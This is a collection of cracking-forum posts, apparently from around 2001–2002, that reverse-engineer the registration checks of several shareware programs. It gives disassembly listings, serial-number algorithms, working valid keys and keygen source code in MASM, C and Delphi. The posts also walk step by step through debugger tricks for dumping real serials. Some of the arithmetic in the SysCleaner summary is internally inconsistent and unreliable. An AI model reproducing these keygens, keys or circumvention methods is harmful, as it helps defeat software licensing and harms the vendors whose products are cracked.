==>将你输入注册码的第 5 位和第 7 位的值相加后，再减去 60h 并赋给ecx
:004039F4 83F909 cmp ecx, 00000009
==>判断 ecx 的值是否为9
:004039F7 7425 je 00403A1E
==>如果 ecx 的值为9，则跳转继续下面的比较，不跳转将注册失败
:004039F9 8D4C2414 lea ecx, dword ptr [esp+14]
:004039FD C744240CFFFFFFFF mov [esp+0C], FFFFFFFF
:00403A05 E85C820100 call 0041BC66
:00403A0A 33C0 xor eax, eax
:00403A0C 8B4C2404 mov ecx, dword ptr [esp+04]
:00403A10 64890D00000000 mov dword ptr fs:[00000000], ecx
:00403A17 5E pop esi
:00403A18 83C40C add esp, 0000000C
:00403A1B C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004039F7(C)
|
:00403A1E 8A4805 mov cl, byte ptr [eax+05]
==>取你输入注册码的第 6 位，赋值给 cl
:00403A21 8A4007 mov al, byte ptr [eax+07]
==>取你输入注册码的第 8 位，赋值给 al
:00403A24 0FBEF0 movsx esi, al
==>将 al 中的值赋给 esi
:00403A27 0FBEC9 movsx ecx, cl
==>将 cl 中的值赋给 ecx
:00403A2A 8D4C0EA0 lea ecx, dword ptr [esi+ecx-60]
==>将你输入注册码的第 6 位和第 8 位的值相加后，再减去 60h 并赋给ecx
:00403A2E 83F90A cmp ecx, 0000000A
==>判断 ecx 的值是否为A(16进制)，换算为10进制是10
:00403A31 7425 je 00403A58
==>如果 ecx 的值为10，则跳转继续下面的比较，不跳转将注册失败
:00403A33 8D4C2414 lea ecx, dword ptr [esp+14]
:00403A37 C744240CFFFFFFFF mov [esp+0C], FFFFFFFF
:00403A3F E822820100 call 0041BC66
:00403A44 33C0 xor eax, eax
:00403A46 8B4C2404 mov ecx, dword ptr [esp+04]
:00403A4A 64890D00000000 mov dword ptr fs:[00000000], ecx
:00403A51 5E pop esi
:00403A52 83C40C add esp, 0000000C
:00403A55 C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403A31(C)
|
:00403A58 0FBEC0 movsx eax, al
==>将你输入注册码的第 8 位(即 al 中的值)，赋值给 eax
:00403A5B 0FBECA movsx ecx, dl
==>将你输入注册码的第 1 位(即 dl 中的值)，赋值给 ecx
:00403A5E C744240CFFFFFFFF mov [esp+0C], FFFFFFFF
:00403A66 8D5408A0 lea edx, dword ptr [eax+ecx-60]
==>将你输入注册码的第 8 位和第 1 位的值相加后，再减去 60h 并赋给edx
:00403A6A 8D4C2414 lea ecx, dword ptr [esp+14]
:00403A6E 83FA08 cmp edx, 00000008
==>判断 edx 的值是否为8
:00403A71 7419 je 00403A8C
==>如果 ecx 的值为8，则跳转，至此注册码的比较过程完毕；不跳转将注册失败
:00403A73 E8EE810100 call 0041BC66
:00403A78 33C0 xor eax, eax
:00403A7A 8B4C2404 mov ecx, dword ptr [esp+04]
:00403A7E 64890D00000000 mov dword ptr fs:[00000000], ecx
:00403A85 5E pop esi
:00403A86 83C40C add esp, 0000000C
:00403A89 C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403A71(C)
|
:00403A8C E8D5810100 call 0041BC66
:00403A91 8B4C2404 mov ecx, dword ptr [esp+04]
:00403A95 B801000000 mov eax, 00000001
:00403A9A 64890D00000000 mov dword ptr fs:[00000000], ecx
:00403AA1 5E pop esi
:00403AA2 83C40C add esp, 0000000C
:00403AA5 C20400 ret 0004

算法总结：

例如：你输入的注册码是：12345678，则注册算法是：

条 件：ASCII码：1 的16进制为31，2 的16进制为32，……(与此类推)，8 的16进制为38

第一次：用注册码的第 1 位和第 3 位的值相加，再减去60h(16进制)后，与值 7 相比；
即 31+32-60=3，判断 3 是否与 7 相等；
所以，注册码的第 1 位可以是ASCII码8(16进制为38)，第 3 位可以是ASCII码/(16进制为2A)

第二次：用注册码的第 2 位和第 4 位的值相加，再减去60h(16进制)后，与值 8 相比；
即 32+34-60=6，判断 6 是否与 8 相等；
所以，注册码的第 2 位可以是ASCII码8(16进制为38)，第 4 位可以是ASCII码0(16进制为30)

第三次：用注册码的第 5 位和第 7 位的值相加，再减去60h(16进制)后，与值 9 相比；
即 35+37-60=12(16进制为C)，判断 12 是否与 9 相等；
所以，注册码的第 5 位可以是ASCII码9(16进制为39)，第 7 位可以是ASCII码0(16进制为30)

第四次：用注册码的第 6 位和第 8 位的值相加，再减去60h(16进制)后，与值 10 相比；
即 36+38-60=14(16进制为E)，判断 14 是否与 9 相等；
所以，注册码的第 6 位可以是ASCII码:(16进制为40)，第 7 位可以是ASCII码0(16进制为30)

第五次：用注册码的第 8 位和第 1 位的值相加，再减去60h(16进制)后，与值 8 相比；
即 38+31-60=9(16进制为E)，判断 9 是否与 8 相等；
所以，注册码的第 8 位可以是ASCII码0(16进制为30)，第 1 位可以是ASCII码8(16进制为38)

软件就这样计算出了真正的注册码。最后得到的真正注册码为：88/09:00，注意该注册码不是唯一的，按此算法还可以得到其它的注册码，该软件的注册码与注册名无关。

该软件注册成功后，注册信息存放在注册表的下面两个键值中：

HKEY_LOCAL_MACHINE\Software\Legendsoft\SysCleaner\RegCode
HKEY_LOCAL_MACHINE\Software\Legendsoft\SysCleaner\RegName

最后，我衷心祝愿与我认识的所有朋友春节快乐，天天开心；也祝愿 看雪论坛 在新的一年里人气越来越旺。

Crack by 飞鹰[BCG] flithawk@263.net 2002.2.9
欢迎光临汉化新世纪: http://www.hanzify.org


信息技术教育考核注册机

 标 题:信息技术教育考核注册机(3千字)
发信人:5,555
时 间:2001-10-28 11:05:45
详细信息:
;rsrc.rc
#include <c:\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_CAP 1001
#define ID_MOD 1003
#define ID_EXIT 1004
DLG_MAIN DIALOG 64,53,180,50
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "信息技术教育考核注册机 by 5,555"
FONT 9, "宋体"
{
DEFPUSHBUTTON "生成注册码", ID_MOD, 50, 30, 50, 14
PUSHBUTTON "退出本程序", ID_EXIT, 120, 30, 50, 14
EDITTEXT IDC_CAP, 52, 10, 120, 12, WS_BORDER | WS_TABSTOP
LTEXT "注册码:", -1, 8, 12, 40, 10
}

;=========================================================================
;hd.h
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib

;==========================================================================
;cr_jykh.asm
.386
.model flat,stdcall
option casemap:none

include hd.h

_WinMain Proto :DWORD,:DWORD,:DWORD,:DWORD
Reg Proto

DLG_MAIN equ 1000
IDC_SN equ 1001
ID_MOD equ 1003
ID_EXIT equ 1004

.data
MsgCap db "信息技术教育考核注册机 by 5,555",0
hInstance dd 0
VName db 256 dup (0)
FSName db 256 dup (0)
Drive db "C:\",0
VID dd 0
SN db 20 dup (0)

.code
start:

invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _WinMain,NULL
invoke ExitProcess,NULL

_WinMain PROC hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke SetWindowText,hWnd,ADDR MsgCap
.elseif eax == WM_COMMAND
mov eax,wParam
.IF lParam!=0
.if ax==ID_MOD
invoke Reg
invoke SetDlgItemText,hWnd,IDC_SN,addr SN
.elseif ax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_WinMain ENDP

Reg Proc
pushad
invoke RtlZeroMemory,addr VName,256
invoke RtlZeroMemory,addr FSName,256
invoke RtlZeroMemory,addr SN,20
invoke GetVolumeInformation, addr Drive, addr VName, 255, addr VID, 0, 0, addr FSName, 255
mov eax,VID
xor eax,29704275h
lea esi,SN
mov edi,esi
mov ebx,10
Reg_Lop1:
cdq
div ebx
cmp eax,0
jne ToAsc
cmp edx,0
je ReverseIt
ToAsc:
add dl,'0'
mov [esi],dl
inc esi
jmp Reg_Lop1
ReverseIt:
dec esi
Reg_Lop2:
cmp esi,edi
jbe Reg_Exit
mov al,[esi]
xchg al,[edi]
xchg al,[esi]
inc edi
dec esi
jmp Reg_Lop2
Reg_Exit:
popad
ret
Reg Endp

end start


优软精灵画笔之大天使3.0

 标 题:优软精灵画笔之大天使3.0注册算法分析及KeyGen (3千字)
发信人:Maomao[CCG]
时 间:2001-11-10 14:22:42
详细信息:
精灵画笔之大天使3.0注册算法分析

作者:Maomao[CCG]
软件：Nupaint3.exe
金山画王的下一代版本，效果非常不错，适合教学使用。
下载：http://www.eusoftware.com/download/wizc30.zip
工具：Trw2000 v1.23
日期：2001-11-10

用TRW载入Nupaint3.exe,下断点bpx getwindowtexta后按F5返回程序。选择程序菜单“帮助->注册”，在对话框中输入注册码：ABCD-1234-5678-abcd，用户名Maomao[CCG]，按“确定”后程序中断，下pmodule，bd *后，回到Nupaint3领空，来到了这里：
0167:00441E1A CALL ESI
0167:00441E1C LEA ECX,[ESP+10] <=====光标在这里
0167:00441E20 PUSH BYTE +05
0167:00441E22 PUSH ECX
按住F10，经过四次读对话框信息后，来到这里：
0167:00441F1F REP MOVSB
0167:00441F21 CALL `SERIAL!Uncode_a_SerialNo` <=====计算注册码
0167:00441F26 ADD ESP,BYTE +04
0167:00441F29 TEST EAX,EAX
0167:00441F2B POP EBP
0167:00441F2C JNL 00441F7F <=====不跳说明注册失败
0167:00441F2E MOV EDX,[00490C90]
0167:00441F34 MOV ESI,[0047D480]
在算注册码的一行上设断，按F5回到程序。再按“确定”，被中断在这一行上。用F8跟进去，按住F10，一会儿来到这里：
0167:1000132F CMP BYTE [ESP+04],57 <=====这里D ESP+4可看到输入的注册码
取第一个字符与0x57('W')比较
0167:10001334 JNZ 1000135D
0167:10001336 CMP BYTE [ESP+05],49 <===== 取第二个字符与0x49('I')比较
0167:1000133B JNZ 1000135D
0167:1000133D CMP BYTE [ESP+06],5A <===== 取第二个字符与0x5A('Z')比较
0167:10001342 JNZ 1000135D
0167:10001344 CMP BYTE [ESP+07],42 <===== 取第二个字符与0x42('B')比较
0167:10001349 JNZ 1000135D
0167:1000134B LEA EDX,[ESP+04]
0167:1000134F PUSH EDX
0167:10001350 CALL 10001270 <=====计算其它段注册码的call
0167:10001355 ADD ESP,BYTE +04
0167:10001358 POP EDI
0167:10001359 ADD ESP,BYTE +14
0167:1000135C RET
可以看出，如果输入的注册码前四位不是WIZB，程序将不进行下一次判断。在0167:10001350的call上设断，F5回到程序。将注册码改为"WIZB-1234-5678-abcd"，按“确定”后，TRW中断在计算其它注册码的call上。用F8跟进去，来到这里：
0167:10001270 MOV ECX,[ESP+04] <=====导入被重新排列的注册码
0167:10001274 PUSH ESI
0167:10001275 PUSH EDI
0167:10001276 XOR EAX,EAX
0167:10001278 MOV ESI,0C
0167:1000127D LEA EDX,[ECX+0F] <=====取排列后的注册码最后一位
0167:10001280 MOVSX EDI,BYTE [ESI+10005033] <=====取密码表中最后一位
这里D ESI+10005033-F可以看到用于对照的密码表:
WIZBIK01ADE1G1AL
0167:10001287 MOVSX ECX,BYTE [EDX] <=====取输入后被重列的注册码最后一位
这里D EDX-F可以看到被重新列后的输入注册码
我的被变成了：WIZBab123456cd78
0167:1000128A SUB ECX,EDI <=====相减
0167:1000128C JS 1000129C <=====小于密码表字符则跳到结束
0167:1000128E CMP ECX,BYTE +08
0167:10001291 JNL 1000129C <=====大于等于密码表字符+8也跳到结束
0167:10001293 ADD EAX,ECX
0167:10001295 DEC EDX
0167:10001296 DEC ESI
0167:10001297 JNZ 10001280 <=====取下一位
0167:10001299 POP EDI
0167:1000129A POP ESI
0167:1000129B RET
我输入的注册码是"WIZB-1234-5678-abcd"，被重新排列成了"WIZBab123456cd78"，哈哈，只要对照一下，把它的密码表顺序重新排列一下，就可以得到最小的注册码了："WIZB-01AD-E1AL-IKG1"，注册中没有用到用户名，看来与用户名无关，还是比较友好的。好了，收工~~~

做了一个KeyGen，已上传到白菜乐园，另外也上传到了BCG的FTP中。


争分夺秒背单词 V1.5.01.12.11

 标 题:争分夺秒背单词 版本：V1.5.01.12.11注册机 (578字)
发信人:zczc
时 间:2001-12-18 20:02:20
详细信息:
#include "stdafx.h"
#include "stdio.h"
#include "string.h"
#include "conio.h"
void main()
{
char name[80];
char sn[80];
int namelen,snlen,i=0;
long febx=1;
puts("\n用户名:");
scanf("%s",name);
namelen=strlen(name);
puts("\n机器码:");
scanf("%s",sn);
snlen=strlen(sn);
namelen=namelen+snlen;
puts("\n注册码:");
strcat(name,sn);
for(i=0;i<namelen;i++)febx=(febx*0x22d6)+name[i];
_asm{ mov eax, febx
cdq
xor eax, edx
sub eax, edx
mov febx,eax
}
printf("%d",febx);
getch();
}

标 题:没必要用汇编。一个简单的C函数搞定：) (569字)
发信人:WenXinJY
时 间:2001-12-19 9:24:17
详细信息:

_asm{ mov eax, febx
cdq
xor eax, edx
sub eax, edx
mov febx,eax
}
分析：if febx >= 0 (最高位是0)
cdq 后，edx==0. eax xor 0 == eax, eax-0==eax.
elseif febx < 0 (最高位是1)
cdq 后，edx==0xffffffff. (1)eax xor 0xffffffff == eax取反 == 0x100000000-eax-1. (2)sub eax,edx==sub eax,0xffffffff==sub eax,-1 == add eax,1.由(1)(2)得eax=(0x100000000-eax-1)+1=0x10000000-eax,在32位寄存器中即eax=-eax.
因此上述过程是将eax取绝对值。用abs(febx)［忘了是不是这样的了：)］可搞定。或者用一句：(febx>=0?febx:-febx)。


紫禁城反黄卫士个人版

 标 题:紫禁城反黄卫士个人版破解（注册算法） (10千字)
发信人:crackjack[BCG]
时 间:2001-10-31 17:55:40
详细信息:
紫禁城反黄卫士个人版注册算法：

破解工具：TRW2000
Hview
w32dasm 8.93黄金中文版

运行程序，打开注册的对话框，在注册框中随便输入注册码，运行TRW2000，下断点BPX hmemcpy,按注册按钮，被TRW中断，用PMODULE返回主程序，如下：

:004A12ED 8B8538FEFFFF mov eax, dword ptr [ebp+FFFFFE38] <====返回到这里
:004A12F3 8D55F8 lea edx, dword ptr [ebp-08]
:004A12F6 E8417AF6FF call 00408D3C
:004A12FB 8B45F8 mov eax, dword ptr [ebp-08] <====取得第一个注册框的字符

* Possible StringData Ref from Code Obj ->"KYNT"
|
:004A12FE BAB4164A00 mov edx, 004A16B4
:004A1303 E8983AF6FF call 00404DA0 <=====比较第一个注册码是否是KYNT
:004A1308 741A je 004A1324 <=====如果是则继续比较注册码,所以第一个注册框的注册码一定是KYNT
:004A130A 6A00 push 00000000
:004A130C 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A1313 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。" <====不是KYNT,则注册失败
|
:004A1315 B8C8164A00 mov eax, 004A16C8
:004A131A E8753BF9FF call 00434E94
:004A131F E947030000 jmp 004A166B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A1308(C)
|
:004A1324 8D55F4 lea edx, dword ptr [ebp-0C]
:004A1327 8B8314030000 mov eax, dword ptr [ebx+00000314]
:004A132D E836A1F9FF call 0043B468
:004A1332 8D55F0 lea edx, dword ptr [ebp-10]
:004A1335 8B8318030000 mov eax, dword ptr [ebx+00000318]
:004A133B E828A1F9FF call 0043B468
:004A1340 8D55EC lea edx, dword ptr [ebp-14]
:004A1343 8B831C030000 mov eax, dword ptr [ebx+0000031C]
:004A1349 E81AA1F9FF call 0043B468
:004A134E 8D55E8 lea edx, dword ptr [ebp-18]
:004A1351 8B8320030000 mov eax, dword ptr [ebx+00000320]
:004A1357 E80CA1F9FF call 0043B468
:004A135C 8D55FC lea edx, dword ptr [ebp-04]
:004A135F 8B8308030000 mov eax, dword ptr [ebx+00000308]
:004A1365 E8FEA0F9FF call 0043B468
:004A136A 8B45F8 mov eax, dword ptr [ebp-08]
:004A136D E8EA38F6FF call 00404C5C <====这段代码是比较每一个注册框中的注册码是不是4位
:004A1372 83F804 cmp eax, 00000004
:004A1375 7534 jne 004A13AB <====不是则注册失败
:004A1377 8B45F4 mov eax, dword ptr [ebp-0C]
:004A137A E8DD38F6FF call 00404C5C
:004A137F 83F804 cmp eax, 00000004
:004A1382 7527 jne 004A13AB
:004A1384 8B45F0 mov eax, dword ptr [ebp-10]
:004A1387 E8D038F6FF call 00404C5C
:004A138C 83F804 cmp eax, 00000004
:004A138F 751A jne 004A13AB
:004A1391 8B45EC mov eax, dword ptr [ebp-14]
:004A1394 E8C338F6FF call 00404C5C
:004A1399 83F804 cmp eax, 00000004
:004A139C 750D jne 004A13AB
:004A139E 8B45E8 mov eax, dword ptr [ebp-18]
:004A13A1 E8B638F6FF call 00404C5C
:004A13A6 83F804 cmp eax, 00000004
:004A13A9 741A je 004A13C5 <=====全部都是4位,则跳到运算注册码的代码处

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A1375(C), :004A1382(C), :004A138F(C), :004A139C(C)
|
:004A13AB 6A00 push 00000000
:004A13AD 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A13B4 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。"
|
:004A13B6 B8C8164A00 mov eax, 004A16C8
:004A13BB E8D43AF9FF call 00434E94
:004A13C0 E9A6020000 jmp 004A166B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A13A9(C)
|
:004A13C5 33C0 xor eax, eax
:004A13C7 55 push ebp
:004A13C8 6806144A00 push 004A1406
:004A13CD 64FF30 push dword ptr fs:[eax]
:004A13D0 648920 mov dword ptr fs:[eax], esp
:004A13D3 8B45F4 mov eax, dword ptr [ebp-0C] <==== 取第二个注册框的注册码
:004A13D6 E8317FF6FF call 0040930C <====注册码运算,结果是注册码的十六进制数
:004A13DB 8BD8 mov ebx, eax <====将结果存入EBX
:004A13DD 8B45F0 mov eax, dword ptr [ebp-10] <==== 取第三个注册框的注册码
:004A13E0 E8277FF6FF call 0040930C <====注册码运算,结果是注册码的十六进制数
:004A13E5 8BF0 mov esi, eax <====将结果存入ESi
:004A13E7 8B45EC mov eax, dword ptr [ebp-14] <==== 取第四个注册框的注册码
:004A13EA E81D7FF6FF call 0040930C <====注册码运算,结果是注册码的十六进制数
:004A13EF 8BF8 mov edi, eax <====将结果存入EDI
:004A13F1 8B45E8 mov eax, dword ptr [ebp-18] <==== 取第五个注册框的注册码
:004A13F4 E8137FF6FF call 0040930C <====注册码运算,结果是注册码的十六进制数
:004A13F9 8945E4 mov dword ptr [ebp-1C], eax <====将结果存入[EBP-1C]
:004A13FC 33C0 xor eax, eax
:004A13FE 5A pop edx
:004A13FF 59 pop ecx
:004A1400 59 pop ecx
:004A1401 648910 mov dword ptr fs:[eax], edx
:004A1404 EB29 jmp 004A142F
:004A1406 E92D2CF6FF jmp 00404038
:004A140B 6A00 push 00000000
:004A140D 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A1414 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。"
|
:004A1416 B8C8164A00 mov eax, 004A16C8
:004A141B E8743AF9FF call 00434E94
:004A1420 E83F30F6FF call 00404464
:004A1425 E941020000 jmp 004A166B
:004A142A E83530F6FF call 00404464

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A1404(U)
|
:004A142F 81FBE8030000 cmp ebx, 000003E8 <====比较计算结果是否小于3E8(即1000,所以注册码必须大于1000，在注册算法里面有相应的指令)
:004A1435 7C19 jl 004A1450
:004A1437 81FEE8030000 cmp esi, 000003E8
:004A143D 7C11 jl 004A1450
:004A143F 81FFE8030000 cmp edi, 000003E8
:004A1445 7C09 jl 004A1450
:004A1447 817DE4E8030000 cmp dword ptr [ebp-1C], 000003E8
:004A144E 7D1A jge 004A146A <====跳到注册码比较的代码

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A1435(C), :004A143D(C), :004A1445(C)
|
:004A1450 6A00 push 00000000
:004A1452 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A1459 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。"
|
:004A145B B8C8164A00 mov eax, 004A16C8
:004A1460 E82F3AF9FF call 00434E94
:004A1465 E901020000 jmp 004A166B

* Referenced by a (U)nconditional or (C)onditional Jump at Address: <=====这里的代码是判断第二至第五个注册框的注册码是不是全部是相同的,如果全部相同,则注册失败
|:004A144E(C)
|
:004A146A 3BF3 cmp esi, ebx <====比较第三组和第二组
:004A146C 7523 jne 004A1491 <====不相等则继续计算
:004A146E 3BFB cmp edi, ebx <====比较第四组和第二组
:004A1470 751F jne 004A1491 <====不相等则继续计算
:004A1472 3B5DE4 cmp ebx, dword ptr [ebp-1C] <=====比较第五组和第二组
:004A1475 751A jne 004A1491 <====不相等则继续计算
:004A1477 6A00 push 00000000 <====注册失败
:004A1479 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A1480 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。"
|
:004A1482 B8C8164A00 mov eax, 004A16C8
:004A1487 E8083AF9FF call 00434E94
:004A148C E9DA010000 jmp 004A166B

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A146C(C), :004A1470(C), :004A1475(C)
|
:004A1491 85DB test ebx, ebx
:004A1493 740E je 004A14A3
:004A1495 85F6 test esi, esi
:004A1497 740A je 004A14A3
:004A1499 85FF test edi, edi
:004A149B 7406 je 004A14A3
:004A149D 837DE400 cmp dword ptr [ebp-1C], 00000000
:004A14A1 751A jne 004A14BD

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A1493(C), :004A1497(C), :004A149B(C)
|
:004A14A3 6A00 push 00000000
:004A14A5 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A14AC 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。"
|
:004A14AE B8C8164A00 mov eax, 004A16C8
:004A14B3 E8DC39F9FF call 00434E94
:004A14B8 E9AE010000 jmp 004A166B

* Referenced by a (U)nconditional or (C)onditional Jump at Address: <=====计算并比较注册码
|:004A14A1(C)
|
:004A14BD 8B45E4 mov eax, dword ptr [ebp-1C] <====从这里可以整理出计算公式:(第二组+第五组)-第四组=第二组
:004A14C0 03C3 add eax, ebx <====有这个公式你就可以编出注册机了
:004A14C2 2BC7 sub eax, edi
:004A14C4 3BF0 cmp esi, eax
:004A14C6 741A je 004A14E2
:004A14C8 6A00 push 00000000
:004A14CA 668B0DBC164A00 mov cx, word ptr [004A16BC]
:004A14D1 33D2 xor edx, edx

* Possible StringData Ref from Code Obj ->"您输入的序列号有误，请检查输入。"
|
:004A14D3 B8C8164A00 mov eax, 004A16C8
:004A14D8 E8B739F9FF call 00434E94
:004A14DD E989010000 jmp 004A166B

标 题:贴个DELPHI注册机源码 (688字)
发信人:crackjack[BCG]
时 间:2001-10-31 19:08:17
详细信息:

procedure TForm1.Button3Click(Sender: TObject);
label
loop1;
const
key1='KYNT';
var
key2_4_5: array [1..3] of integer;
key3:integer;
i:integer;
ran:integer;
begin
loop1: for i:=1 to 3 do
begin
repeat
ran:=random(9999);
until ran>1000;
key2_4_5[i]:=ran;
end;
key3:=(key2_4_5[1]+key2_4_5[3])-key2_4_5[2];
if key3<1000 then goto loop1;
if key3>9999 then goto loop1;
edit1.Text :=key1;
edit2.Text :=inttostr(key2_4_5[1]);
edit3.Text:=inttostr(key3);
edit4.Text :=inttostr(key2_4_5[2]);
edit5.Text :=inttostr(key2_4_5[3]);

end;


互动视音频点播系统 1.3

 标 题:lllufh申请加入BCG第三篇! (4千字)
发信人:lllufh
时 间:2001-9-18 2:02:43
详细信息:
目标软件：IActVOD(互动视音频点播系统) 1.3

工具：　　trw2000+w32dasm

目的：　　加入BCG

软件简介：IActVOD 是一运用于局域网上，进行互动视音频点播系统。
          支持格式：
          1.mpg,dat
          2.mp3

下载地址：http://www.csdn.net/soft/openfile.asp?kind=1&id=12892

在服务端注册。

过程：

BCG的加入方法马上就要改变了，是要个什么CARCKME！！倒！！！！我可不行，赶紧写一篇吧，希望CrackerABC和XY2000两位前辈高抬贵手，放小弟一马！！（真不要脸，一听变难了就吓成这样。＾＿＾）
不多说了，过程如下：

本想用TRW2000直接追出注册码，可是试了试又是没什么结果！！！（这孩子真笨，怎么也教不会＾O＾）
咦！！想起来了，风飘雪教程中有一篇什么“S搜索大法”，我来试试！

运行程序
填入注册信息
咦？有序列号，看来只能我一个人用了，呵呵，不管它，先搞定再说！！
打入87654321

ctrl+n 调出trw2000

bpx hmemcpy

g

按注册　　立刻被拦

bc *

pmodule

一直按F12，直到错误提示出现

按“确定”回到trw2000下

s 0,ffffffff '87654321'

按alt+pagedown往下几行就会看到真正的注册码：873288108

结果：
填写注册信息873288108　　嘻嘻，当然成功了！

本想收笔，可一想一个人使多没意思呀，听说crackcode2000这个软件做注册机挺简单的，唉，硬起头皮，试试吧!

运行W32DASM

调入VODSRV.EXE(没有加壳 ^_^ 爽!)

在串式参考中查找到“注册成功”

双击后来到：

:004014C6 55 push ebp
:004014C7 8BEC mov ebp, esp
:004014C9 6AFF push FFFFFFFF
:004014CB 68AE004300 push 004300AE
:004014D0 64A100000000 mov eax, dword ptr fs:[00000000]
:004014D6 50 push eax
:004014D7 64892500000000 mov dword ptr fs:[00000000], esp
:004014DE 81ECA4010000 sub esp, 000001A4
:004014E4 898D58FEFFFF mov dword ptr [ebp+FFFFFE58], ecx
:004014EA 6A01 push 00000001
:004014EC 8B8D58FEFFFF mov ecx, dword ptr [ebp+FFFFFE58]
:004014F2 E833590200 call 00426E2A
:004014F7 8D45F0 lea eax, dword ptr [ebp-10]
:004014FA 50 push eax
:004014FB E8E6720000 call 004087E6
:00401500 83C404 add esp, 00000004
:00401503 8B8D58FEFFFF mov ecx, dword ptr [ebp+FFFFFE58]
:00401509 81C19C000000 add ecx, 0000009C
:0040150F E87C020000 call 00401790
:00401514 50 push eax
:00401515 E8A74B0100 call 004160C1
:0040151A 83C404 add esp, 00000004
:0040151D 8945EC mov dword ptr [ebp-14], eax
:00401520 8B4DF0 mov ecx, dword ptr [ebp-10]
:00401523 51 push ecx
:00401524 E8D3740000 call 004089FC
:00401529 83C404 add esp, 00000004
:0040152C 3945EC cmp dword ptr [ebp-14], eax 在EAX里放着真正的注册码!
:0040152F 0F8505010000 jne 0040163A
:00401535 6A00 push 00000000

* Possible Reference to Dialog:
|
:00401537 6854D14300 push 0043D154

* Possible StringData Ref from Data Obj ->"注册成功！" -----------往上看
|
:0040153C 685CD14300 push 0043D15C
:00401541 8B8D58FEFFFF mov ecx, dword ptr [ebp+FFFFFE58]
:00401547 E87D510200 call 004266C9
:0040154C 6804010000 push 00000104
:00401551 8D95E4FEFFFF lea edx, dword ptr [ebp+FFFFFEE4]
:00401557 52 push edx
:00401558 6A00 push 00000000

OK!填写crackcode.ini信息

[Options]
CommandLine=VODSrv.exe
Mode=1
First_Break_Address=40152C
First_Break_Address_Code=39
First_Break_Address_Code_Lenth=3
Save_Code_Address=EAX

总结：
把crackcode.exe和crackcode.ini拷贝到程序目录下，运行crackcode.exe呼出主程序，在注册信息里随便填写，按注册，carckcode便把真正的注册码显示出来!太爽了!!!

打完，收工!

lllufh
2001-09-18 1:53


Active Send Mail 2.6

 标 题:破解 Active Send Mail (邮件群发器) 2.6 (Build 2601) - 我第一次用TRW追出了注册码啊！:) (7千字)
发信人:炎之川
时 间:2001-12-9 20:12:17
详细信息:
破解 Active Send Mail (邮件群发器) 2.6 (Build 2601)

软件名称：Active Send Mail (邮件群发器) 2.6(Build 2601)
文件大小：1140KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
发布公司：http://www.co-top.com/
软件简介：这是一个用来发垃圾邮件的工具....
未注册版本限制: 发送的垃圾邮件中均附带软件的宣传连接

原版软件下载: http://www.csdn.net/soft/openfile.asp?kind=1&id=14633 （CSDN）
http://www.co-top.com/download/sndmail.exe （官方网站）

破解工具：TRW2000 1.22 汉化增强版、w32dasm 中文黄金版

很早以前我爆破过这个软件的旧版本，记得只要改半个字节就可以爆破成功，今天找新版本来开刀吧！:)
这也是我第一次成功用 TRW 追出了软件的注册码(高手们不要笑我啊)，相对于我在看雪论坛这里贴的前两篇破文，应该有了一点点进步吧！:)

软件的注册形式是给你一个机器码，然后注册后会发给你对应机器码的注册码。

破解过程:

1. 运行软件，关于/注册，在这里可以看到我的机器码“EM613060620347XU”，随便填入注册码“78787878”。
2. 按 Ctrl＋N 激活 TRW，
输入 bpx hmemcpy <---- 下万能断点 hmemcpy
输入 g <---- 把控制权还给程序，程序继续运行
这时返回到注册窗口，点击“注册”按钮，马上被 TRW 拦截下来了，这时在屏幕下方可以看到: Break on BP1，说明拦截成功。
输入 bc * <---- 清除断点
输入 pmodule

接下来按41次 F10（42 次时跳出注册失败的提示）后若干次 F12，来到下面 (trw 抓取屏幕的方法我还没搞清楚，先用w32dasm 反汇编出来的代替吧！)：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C5C87(C)
|
:004C5CDB 8B55F0 mov edx, dword ptr [ebp-10]
:004C5CDE 8D45F8 lea eax, dword ptr [ebp-08]
:004C5CE1 E8A2EAF3FF call 00404788
